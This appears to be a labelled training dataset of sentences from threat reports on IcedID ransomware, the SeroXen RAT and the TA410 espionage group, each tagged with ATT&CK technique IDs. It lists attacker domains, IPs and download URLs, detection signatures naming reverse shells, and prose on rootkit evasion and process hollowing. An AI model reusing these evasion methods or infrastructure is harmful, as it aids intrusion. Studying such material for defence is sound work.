{"sentence": "The following Locker files were then deleted: Diamond Model Atomic IcedID: alockajilly.com zoomersoidfor.com choifejuce.lol opiransiuera.com erinindiaka.quest opiransiuera.com zoomersoidfor.com considerf.info antiflamez.bar www.onlinecloud.cloud 64.227.12.180:80 5.196.103.145:443 66.63.188.70:443 178.128.85.30:443 5.252.177.10:443 46.101.19.119:443 Cobalt Strike: fazehotafa.com guteyutu.com 45.66.151.109 172.93.181.165 111.90.143.191 78.128.112.139 Mega User:", "labels": ["T1070.004"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "[email protected][.]me Attacker Infrastructure:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ET MALWARE Meterpreter or Other Reverse Shell SSL Cert ET POLICY PE EXE or DLL Windows file download HTTP ET INFO Dotted Quad Host DLL Request ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response ET HUNTING Suspicious lsass.exe in URI ET MALWARE Win32/IcedID Request Cookie ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software) ET USER_AGENTS", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Remote System Discovery - T1018 Group Policy Discovery - T1615 System Language Discovery - T1614.001 System Time Discovery - T1124 Network Share Discovery - T1135 Domain Account - T1087.002 File and Directory Discovery - T1083", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Remote Desktop Protocol - T1021.001 SMB/Windows Admin Shares - T1021.002 Lateral Tool Transfer - T1570 Windows Remote Management - T1021.006 Local Data Staging - T1074.001 Web Protocols - T1071.001 Exfiltration to Cloud Storage - T1567.002 Data Encrypted for Impact - T1486 Account Access Removal - T1531 Disable or Modify Tools - T1562.001 Mark-of-the-Web Bypass - T1553.005 System Owner/User Discovery - T1033 S0002 - Mimikatz S0154 - Cobalt Strike S0359 - Nltest S0039 - Net S0096 - Systeminfo S0100 - IPconfig S0552 - AdFind Internal case #18041", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Executive summary SeroXen is a new Remote Access Trojan (RAT) that showed up in late 2022 and is becoming more popular in 2023.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Advertised as a legitimate tool that gives access to your computers undetected, it is being sold for only $30 for a monthly license or $60 for a lifetime bundle, making it accessible.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Key takeaways: SeroXen is a fileless RAT, performing well at evading detections on static and dynamic analysis.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The malware combines several open-source projects to improve its capabilities.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "It is a combination of Quasar RAT, r77-rootkit and the command line NirCmd.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Hundreds of samples have shown up since its creation, being most popular in the gaming community.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Analysis Quasar RAT is a legitimate open-source remote administration tool.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "It is offered on github page to provide user support or employee monitoring.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "It has been historically associated with malicious activity performed by threat actors, APT groups (like in this Mandiant report from 2017), or government attacks (in this report by Unit42 in 2017).", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "It was first released in July 2014 as “xRAT” and renamed to “Quasar” in August 2015.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "As an open-source RAT tool with updates 9 years after its creation, it is no surprise that it continues to be a common tool used by itself or combined with other payloads by threat actors up to this day.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "In a review of the most recent samples, a new Quasar variant was observed by Alien Labs in the wild: SeroXen.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "They’re selling it for monthly or lifetime fee.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Figure 1 contains some of the features advertised on their website.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "SeroXen features announced on its website.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "This new RAT first showed up on a Twitter account, established in September 2022.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The person advertising the RAT appeared to be an English-speaking teenager.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The same Twitter handle published a review of the RAT on YouTube.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The video approached the review from an attacking/Red Team point of view, encouraging people to buy the tool because it is worth the money.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "They were claiming to be a reseller of the tool.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The RAT was distributed via a monthly license for $30 USD or a lifetime license of $60 USD.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "After a few months, on the 1st of February, the YouTuber CyberSec Zaado published a video alerting the community about the capabilities of the RAT from a defensive perspective.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "In late February, the RAT was advertised on social media platforms such as TikTok, Twitter, YouTube, and several cracking forums, including hackforums.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "There were some conversations on gaming forums complaining about being infected by malware after downloading some video games.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The artifacts described by the users matched with SeroXen RAT.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The threat actor updated the domain name to seroxen[.]net by the end of March.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "This domain name was registered on March 27th, 2023, after seroxen[.]com was decommissioned.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The threat actor used GoDaddy for registration and Cloudflare for hosting the website.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "These domains are only used for selling and marketing purposes, and not for Command and Control (C&C) communications.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Figure 2: SeroXen website Based on the packed versions uploaded to VT, it appears that the RAT is being used for targeting video game users.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "SeroXen timeline.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "One of the most relevant announced features is that it is a fully undetectable version.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The file’s size typically ranges between 12-14 megabytes, as we can see in sample 8ace121fae472cc7ce896c91a3f1743d5ccc8a389bc3152578c4782171c69e87 uploaded to VT on May 21.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Due to its relatively large size, certain antivirus may choose not to analyze it, potentially bypassing detection.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "This sample currently has 0 detections on VT, but some of the crowdsourced Sigma Rules do detect the activity as suspicious.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The RAT employs anti-debugging techniques by leveraging Windows Management Instrumentation (WMI) to identify the system’s manufacturer.", "labels": ["T1047", "T1082"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The RAT also checks for the presence of debuggers and uses pings make the threads sleep.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Currently, most child processes and files dropped during the execution of the RAT have a low detection rate.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Execution analysis When the malicious payload is delivered to the victim, commonly through a phishing mail or a Discord channel – the victim often receives a ZIP file containing a benign file in plain sight, and the heavily obfuscated batch file is hidden and automatically executed when launched.", "labels": ["T1027", "T1204.002", "T1566.001"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The bat file format is always very similar and looks like the contents of Figure 4, followed by base64 encoded text later in the file.", "labels": ["T1027", "T1059.003"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "These byte arrays are then used with .NET reflection to perform an in-memory load of the assembly from its bytes, locate the binary’s entry point, and perform an Invoke on both.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Throughout the decryption process, the attackers had the need to create a legitimate looking folder to drop an illicit version of the System Configuration Utility msconfig.exe that is required later.", "labels": ["T1036.005"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "For this purpose, the script creates the folder “C:Windows System32”, with a space after Windows and deletes it as soon as the utility is running.", "labels": ["T1036.005", "T1070.004"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "If it wasn’t for this file temporarily dropped into disk, the RAT would be fully fileless.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The execution of one of the above-mentioned binaries leads to another obfuscated binary carrying an embedded resource.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "This resource is hidden behind anti-sandboxing and debugger techniques, only to lead to more obfuscation and encryption techniques that lead to the final payload.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "This payload has been built using the Github project Costura, which allows SeroXen to pack the code’s dependencies into the .NET assembly so it can run self-contained.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The payload InstallStager.exe is a compilation of the open-source rootkit named r77-rootkit – a fileless ring 3 rootkit written in .NET.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "This rootkit supports both x32 and x64 Windows processes and has the following features: Fileless persistence: The rootkit is stored as obfuscated data in the registry and is spawned with PowerShell via Task Scheduler to be injected into the winlogon.exe process.", "labels": ["T1027", "T1053.005", "T1055", "T1059.003", "T1112"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Child process hooking.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The added malware will be decompressed and decrypted before it is injected into other processes.", "labels": ["T1055", "T1140"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "In memory process injection: the rootkit injects itself and additional malware(s) into all processes.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Injection is done from memory: no files are needed to be stored on disk.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Hooking: Hooks several functions from ntdll.dll to hide its presence.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Communicating via NamedPipe:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The rootkit can receive a command from any running process.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Antivirus / EDR evasion:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "DLL unhooking: Removes EDR hooks by loading a fresh copy of “ntdll.dll” from disk to avoid process hollowing detection Hiding entities: Hiding all entities starts with a configurable prefix, which in SeroXen’s case its “$sxr”.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "R77 technical documentation provides a guideline of where can the prefix be found: Config parameter Details Example HIDE_PREFIX The prefix for name-based hiding (e.g. processes, files, etc…).", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "HIDE_PREFIX L”svc32″ R77_SERVICE_NAME64 Name for the scheduled task that starts the r77 service for 64-bit processes.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "L”.pipe” HIDE_PREFIX L”childproc32″ CHILD_PROCESS_PIPE_NAME64 Name for the named pipe that notifies the 64-bit r77 service about new child processes.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "L”.pipe” HIDE_PREFIX L”childproc64″ CONTROL_PIPE_NAME Name for the named pipe that receives commands from external processes.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The InstallStager service is responsible for: Creating a registry key to store the malware code and writes it as encrypted data.", "labels": ["T1027", "T1053.005", "T1112"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Creating a scheduled task to execute the malware using PowerShell.", "labels": ["T1053.005", "T1059.003"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "PowerShell will decompress and decrypt the final payload (Service) that will be injected into the winlogon.exe process and executed via dllhost.exe using process hollowing techniques.", "labels": ["T1055", "T1140"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Starting payload after decryption using process hollowing.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Now the second and main stage of the Rootkit is ready to start.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "[HKEY_LOCAL_MACHINESOFTWARE$sxrconfig]).", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The service creates 3 listener threads: NewProcessListener: Enumerates all running processes and injects the rootkit when new processes are created.", "labels": ["T1055", "T1057"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "ControlPipeListener: Creates a NamedPipe to receive commands from any process.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "CONTROL_R77_PAUSE_INJECTION", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The control code that temporarily pauses injection of new processes.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "CONTROL_PROCESSES_INJECT The control code that injects r77 into a specific process, if it is not yet injected. CONTROL_PROCESSES_INJECT_ALL", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The control code that injects r77 into all processes that are not yet injected.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "CONTROL_PROCESSES_DETACH The control code detaches r77 from a specific process.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "CONTROL_PROCESSES_DETACH_ALL", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The control code detaches r77 from all processes.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "CONTROL_USER_SHELLEXEC", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The control code that executes a file using ShellExecute.", "labels": ["T1106"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "CONTROL_SYSTEM_BSOD The control code that triggers a BSOD.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "CONTROL_R77_TERMINATE_SERVICE The control code that terminates the r77 service.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The DLL rootkit carries out process injections, executes commands received by other processes, and keeps out of sight any sign of SeroXen being executed within the system.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "System function hooking.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "As a summary of the execution process: Figure 9.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "SeroXen decryption flow.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Since Seroxen is based on QuasarRAT, the C&C server utilizes the same Common Name in their TLS certificate.", "labels": ["T1071.001"], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Quasar Server Certificate.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Conclusion The SeroXen developer has found a formidable combination of free resources to develop a hard to detect in static and dynamic analysis RAT.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The use of an elaborated open-source RAT like Quasar, with almost a decade since its first appearance, makes an advantageous foundation for the RAT.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "While the combination of NirCMD and r77-rootkit are logical additions to the mix, since they make the tool more elusive and harder to detect.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "The Alien Labs team will continue to monitor the threat landscape for SeroXen samples and infrastructure.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Detection methods The following associated detection methods are in use by Alien Labs.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "ET TROJAN Generic AsyncRAT Style SSL Cert 2027619:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "ET TROJAN Observed Malicious SSL Cert (Quasar CnC) Associated indicators (IOCs)", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "A list of indicators is also available in the OTX Pulse.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Please note, the pulse may include other activities related but out of the scope of the report.", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "TYPE INDICATOR DESCRIPTION SHA256 8ace121fae472cc7ce896c91a3f1743d5ccc8a389bc3152578c4782171c69e87 Example malware hash Mapped to MITRE ATT&CK The findings of this report are mapped to the following MITRE ATT&CK Matrix techniques:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "TA0002 : Execution T1053: Scheduled Task/Job T1053.005:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Windows Command Shell TA0003: Persistence T1547: Boot or Logon Autostart Execution T1547.001 Registry Run Keys / Startup Folder TA0004: Privilege Escalation T1548:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Subvert Trust Controls T1553.002:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Code Signing T1564:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Hide Artifacts T1564.001:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Hidden Files and Directories T1564.003: Hidden Window TA0006: Credential Access T1552: Unsecured Credentials T1552.001:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Credentials In Files T1555: Credentials from Password Stores T1555.003: Credentials from Web Browsers TA0007:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "System Network Configuration Discovery T1033: System Owner/User Discovery T1082: System Information Discovery T1614: System Location Discovery TA0008: Lateral Movement T1021:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Remote Services T1021.001:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Data from Local System T1056: Input Capture T1056.001: Keylogging T1125: Video Capture TA0011: Command and Control T1090: Proxy T1095: Non-Application Layer Protocol T1105:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "Ingress Tool Transfer T1571: Non-Standard Port T1573: Encrypted Channel: T1573.001: Symmetric Cryptography References:", "labels": [], "doc_title": "SeroXen RAT for sale"}
{"sentence": "TA410 is a cyberespionage umbrella group loosely linked to APT10, known mostly for targeting US-based organizations in the utilities sector, and diplomatic organizations in the Middle East and Africa.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "A year later, the then-new and very complex malware family called FlowCloud was also attributed to TA410.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In this blogpost, we provide a detailed profile of this APT group, including its modus operandi and toolset that includes a new version of FlowCloud, discovered by ESET.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This very complex backdoor contains interesting espionage capabilities.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ESET will present its latest findings about TA410, including results from ongoing research, during Botconf 2022.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "For YARA and Snort rules, consult ESET’s GitHub account.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Key points in this blogpost: TA410 is an umbrella group comprised of three teams ESET researchers named FlowingFrog, LookingFrog and JollyFrog, each with its own toolset and targets.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TA410 had access to the most recent known Microsoft Exchange remote code execution vulnerabilities, e.g., ProxyLogon in March 2021 and ProxyShell in August 2021.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ESET researchers found a new version of FlowCloud, a complex and modular C++ RAT.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It has several interesting capabilities, including: Controlling connected microphones and triggering recording when sound levels above a specified threshold volume are detected.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Monitoring file system events to collect new and modified files.", "labels": ["T1005", "T1113"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Controlling attached camera devices to take pictures of the compromised computer’s surroundings.", "labels": ["T1113"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowCloud deploys a rootkit to hide its activity on the compromised machine.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The LookBack backdoor utilized by TA410 uses a custom network protocol, which can function over HTTP or raw TCP, for C&C server communications.", "labels": ["T1071.001", "T1095"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TA410 is one of the users of the Royal Road malicious document builder.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TA410 teams compromise their targets in various ways, which indicates to us that those victims are targeted specifically, with the attackers choosing which entry method has the best chance of infiltrating the target.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The first stage of the FlowCloud version identified by ESET researchers can check whether specific security software is installed on the machine it tries to compromise, but this isn’t implemented in the loaders we analyzed.", "labels": ["T1518.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In case one of these products is detected, FlowCloud goes through its regular loading process and cancels the auto_start_after_install configuration value.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Even though we believe that this version of FlowCloud is still undergoing development and testing, the cyberespionage capabilities of this version include the ability to collect mouse movements, keyboard activity, and clipboard content along with information about the current foreground window.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This information can help attackers understand stolen data by contextualizing it.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowCloud can also gather information about things happening around the victim’s computer by taking pictures using connected camera peripherals and recording audio using a computer’s microphone.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This latter function is triggered by any sound over a threshold of 65 decibels, which is in the upper range of normal conversation volume.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "These teams, referred to below as FlowingFrog, LookingFrog, and JollyFrog, have overlaps in TTPs, victimology and network infrastructure.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowingFrog uses Royal Road RTF documents, a first-stage implant called Tendyron, and a very complex second-stage backdoor called FlowCloud.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "LookingFrog uses a first-stage backdoor called X4, and LookBack as a second stage.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "JollyFrog uses only generic malware families such as Korplug (aka PlugX) and QuasarRAT.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Part of the activity of this team was described by Fortinet, who attributed the activity to APT10. ESET researchers, however, believe this activity is different from the operations that APT10 (aka A41APT) has conducted recently.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowingFrog and LookingFrog ran a phishing campaign at the same time against the same targets, as also mentioned in the same Proofpoint article.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In ESET telemetry, we do not see any other overlap between these subgroups.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "We believe that these subgroups operate somewhat independently but that they may share intelligence requirements, an access team that runs their spearphishing campaigns, and also the team that deploys network infrastructure.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Victimology Most TA410 targets are high-profile organizations in the diplomacy and education sectors, but we have also seen victims in the military sector, a manufacturing company in Japan, a mining company in India, and a charity in Israel.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Interestingly, there is no clear segmentation of the targeting (by sector or geography) among the different teams.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "An element worth mentioning is that TA410 targets foreign individuals in China.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Since 2018, we have seen the following targets, also depicted in Figure 1: FlowingFrog: University, foreign diplomatic mission of a South Asian country in China, mining company LookingFrog: Diplomatic missions, charity, government and industrial manufacturing JollyFrog: Education, church, military, diplomatic mission Figure 1.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Map of countries and verticals targeted by TA410 Initial compromise and typical TTPs If we exclude the different backdoors, the three teams use a similar modus operandi.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "They compromise their targets either by spearphishing, according to Proofpoint, or, for LookingFrog and JollyFrog, by compromising a web-facing application such as Microsoft Exchange or SharePoint.", "labels": ["T1190"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This could indicate that victims are targeted specifically, with the attackers choosing which entry method is the best for a given target.", "labels": ["T1190"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Attackers linked to LookingFrog exploited Microsoft SharePoint servers in 2019 to gain code execution, probably by leveraging CVE-2019-0604.", "labels": ["T1190"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "These were either dropped directly via the webshell or downloaded from a remote server using certutil.exe, a known LOLBin.", "labels": ["T1105"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In 2020, we saw further exploitations by JollyFrog, of Microsoft SQL servers and IIS servers running custom applications.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Royal Road and Tendyron downloader Royal Road is a malicious document builder used by several cyberespionage groups (see the analysis by nao_sec).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Files built with this tool are RTF documents exploiting Equation Editor N-day vulnerabilities such as CVE-2017-11882.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TA410 operators always use the Royal Road encoding bytes: A9 A4 6E FE, as seen in Figure 2. Figure 2.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Encoded Royal Road payload On October 13th 2020, we noticed that a new Royal Road RTF document, shown in Figure 3, had been uploaded to VirusTotal.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "When opened, the document triggers the injection of a custom downloader – a PE executable – into an iexplore.exe process.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Unfortunately, we were not able to retrieve this sample.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Persistence for the downloaded payload is established via the Tendyron value under the Run key HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run.", "labels": ["T1547.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The export OnKeyT_ContextInit contains code that decrypts hardcoded shellcode (see Figure 4) and injects it into iexplore.exe using WriteProcessMemory.", "labels": ["T1055", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Shellcode decryption loop The next stage, injected into iexplore.exe, is a backdoor written using the Microsoft Foundation Class (MFC) framework.", "labels": ["T1055", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The C&C server is hardcoded, in cleartext, in the sample; in this specific case, it is set to 114.118.83[.]141.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The result of the request to http://103.139.2[.]93:1702/SL3716/S8437AEB.DAT was recorded by VirusTotal and the SHA-1 of this encrypted file is 140F81037A76B7B16A00E1D5E0E2CD9F6687F642.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This URI is typical of those used to download FlowCloud, a complex C++ implant described in the next section.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Figure 5. URL requests seen by the VirusTotal sandbox during execution of the malicious RTF document", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The identical encrypted file was also downloaded from http://114.55.109[.]199:56022/SL3716/S8437AEB.DAT by a FlowCloud dropper version 4.1.3 (SHA‑1: 014421BDB1EA105A6DF0C27FC114819FF3637704).", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It consists of three main components, deployed in a multistage process that uses various obfuscation and encryption techniques to hinder analysis.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Multiple versions of FlowCloud have been identified since 2020, most notably versions 4.1.3 and 5.0.1 described by Proofpoint.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Contrary to those previously found, the samples we obtained for version", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
